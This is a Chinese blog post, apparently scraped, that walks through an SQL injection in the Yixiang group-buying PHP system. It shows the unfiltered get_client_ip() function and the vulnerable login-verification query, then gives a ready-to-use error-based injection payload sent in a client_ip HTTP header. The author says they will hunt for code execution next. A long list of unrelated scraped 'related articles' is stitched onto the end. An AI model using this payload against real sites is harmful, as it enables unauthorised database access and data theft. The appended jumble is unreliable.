刚打开红黑看到J8基友写的一个{易想团购系统 最新版 通杀}的文章,看他贴的代码里面有个get_client_ip()函数,哈哈,我猜没过滤,果断下了一套程序,

找到get_client_ip()函数。// 获取客户端IP地址function get_client_ip(){ if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) $ip = getenv("HTTP_CLIENT_IP"); else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) $ip = getenv("HTTP_X_FORWARDED_FOR"); else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) $ip = getenv("REMOTE_ADDR"); else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) $ip = $_SERVER['REMOTE_ADDR']; else $ip = "unknown"; return($ip);}

果然没过滤,看了下很多地方用到这个函数。

比如if($_REQUEST['act'] == 'verify'){$id = intval($_REQUEST['id']);$user_info = $GLOBALS['db']->getRow("select * from ".DB_PREFIX."user where id = ".$id);if(!$user_info){showErr($GLOBALS['lang']['NO_THIS_USER']);}$verify = $_REQUEST['code'];if($user_info['verify'] == $verify){//成功$_SESSION['user_info'] = $user_info;$GLOBALS['db']->query("update ".DB_PREFIX."user set login_ip = '".get_client_ip()."',login_time= ".get_gmtime().",verify = '',is_effect = 1 where id =".$user_info['id']);$GLOBALS['db']->query("update ".DB_PREFIX."mail_list set is_effect = 1 where mail_address ='".$user_info['email']."'");$GLOBALS['db']->query("update ".DB_PREFIX."mobile_list set is_effect = 1 where mobile ='".$user_info['mobile']."'");showSuccess($GLOBALS['lang']['VERIFY_SUCCESS'],0,APP_ROOT."/");}

团购系统嘛,其实不用看代码,登陆的这些地方必定会用这个函数,易想团购系统通杀SQL注入漏洞分析及利用漏洞预警》(https://www.unjs.com)。

果断的,登陆的时候在http头里面加了个client_ip,值为127′

看图:

报错注入,很简单吧,

exp:

火狐插件增加client_ip

值为

‘ and (select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b)#

这套程序用的thinkphp的框架,待会看看有没有代码执行。。。。

易想团购 注入 user.php,易想团购系统通杀SQL注入漏洞分析及利用漏洞预警 -电脑资料...相关推荐

  1. /plus/recommend.php sql注入漏洞,DedeCMS 全版本通杀SQL注入漏洞利用代码及工具 -

    DedeCMS 全版本通杀SQL注入漏洞利用代码及工具 目前官方最新版已修复该漏洞 V5.7.37 GBK正式版20140228常规更新补丁 http://www.dedecms.com/pl/ ht ...

  2. recommend.php sql注入漏洞,Espcms通杀SQL注入漏洞分析(附EXP)

    漏洞:Espcms 通杀 SQL注入漏洞分析附EXP 漏洞作者:Seay博客:www.cnseay.com 官网介绍: 易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操 ...

  3. Espcms通杀SQL注入漏洞分析(附EXP)

    漏洞:Espcms 通杀 SQL注入漏洞分析附EXP 漏洞作者:Seay 博客:www.cnseay.com 官网介绍: 易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有 ...

  4. php cms 代码注入,PHPCMS全版本通杀SQL注入漏洞

    漏洞分析 首先看下面的代码 /phpcms/modules/member/content.php 202行 edit函数 [php] public function edit() { $_userna ...

  5. 网络***实战:老Y文章管理系统V2.2注入漏洞分析与利用

    网络***实战:老Y文章管理系统V2.2注入漏洞分析与利用 安天365团队     同学说让我帮忙架设一个网站,同时要保证整个网站的安全.自己开发,开玩笑,工作量巨大,还是通过网络,在别人的基础上进行 ...

  6. mysql order by sql注入_mybatis中#{}和${}的区别及order by的sql注入问题

    前言略,直奔主题.. #{}相当于jdbc中的preparedstatement ${}是输出变量的值 简单的说就是#{}传过来的参数带单引号'',而${}传过来的参数不带单引号. 你可能说不明所以, ...

  7. 【转】基于SQL的Web系统安全防范——SQL注入漏洞

    攻击研究及防范措施 SQL-Based Web System Security--Structured Query Language InjectionLeak Attack Study And De ...

  8. Baidu某系统后台存在sql注入漏洞

    漏洞详情 披露状态: 2010-07-26: 细节已通知厂商并且等待厂商处理中 1970-01-01: 厂商已经确认,细节仅向厂商公开 1970-01-11: 细节向核心白帽子及相关领域专家公开 19 ...

  9. 通达oa php冲突,通达OA某版本系统存在通用SQL注入(附注射技巧)

    最近学习SQL注入 其实是通用的 只是洞主么有核实版本 还存在基于报错的注入 Office Anywhere 2008 网络智能办公系统 mysql+win+php 实例: http://219.13 ...

最新文章

  1. mysql 函数返回表格_mysql 数据分析如何实现日报、周报、月报和年报?
  2. 快速构建Windows 8风格应用15-ShareContract构建
  3. MHA管理所有数据库服务器
  4. 解决Tomcat下IntelliJ IDEA报错java.lang.NoClassDefFoundError: javax/servlet/ServletContextListener
  5. 再一次证明了普通的U盘和SD(TF)卡的不可靠
  6. 循序渐进开发WinForm项目(5)--Excel数据的导入导出操作
  7. 5.Loops and List Comprehensions
  8. 插入网站连接_带你了解网站设计的五个基本步骤
  9. 【2015年第4期】大数据时代的数据挖掘 —— 从应用的角度看大数据挖掘(下)...
  10. [高等数学]高数个人复习笔记
  11. PHPObject v1.51(Flash Remoting for PHP developers)
  12. GunPG使用教程(含密钥生成删除以及文件加密解密签名)
  13. 关于kafka中ISR、AR、HW、LEO、LSO、LW的含义详解
  14. ai人工智能电子计算机星际穿越,以智慧AI为眸,华为nova5系列带你来一场“星际穿越”...
  15. Descending Order 实践练习
  16. 2016这一年读过的那些书
  17. 数字化汗字中仲字如化数字化_如何将旧的电影照片数字化
  18. Centos7 Apache结合tomcat实现动静分离
  19. D. Nearest Excluded Points(cf)坐标反向BFS
  20. Linux 系统Buffers与Cached的区别

热门文章

  1. 漫画:什么是动态规划?
  2. 985、211毕业,就了不起吗?
  3. 数据统计之日下单用户量统计
  4. 复习计算机网络基础 day8--传输层
  5. NAT技术解决了IPv4地址短缺的问题,假设内网的地址数是m,而外网地址数n,若mn,则这种技术叫做(66),若mn,且n=1,则这种技术这叫做(67)。【答案】A C
  6. 交换机SHOW命令,不知道路由器可以参考不·
  7. 动态多尺度图表达3D人体骨架运动,实现精准预测效果超SOTA
  8. 项目实践 | 行人跟踪与摔倒检测报警
  9. 新手必会的 9 个 Python 技巧!
  10. Multisim 12.0 笔记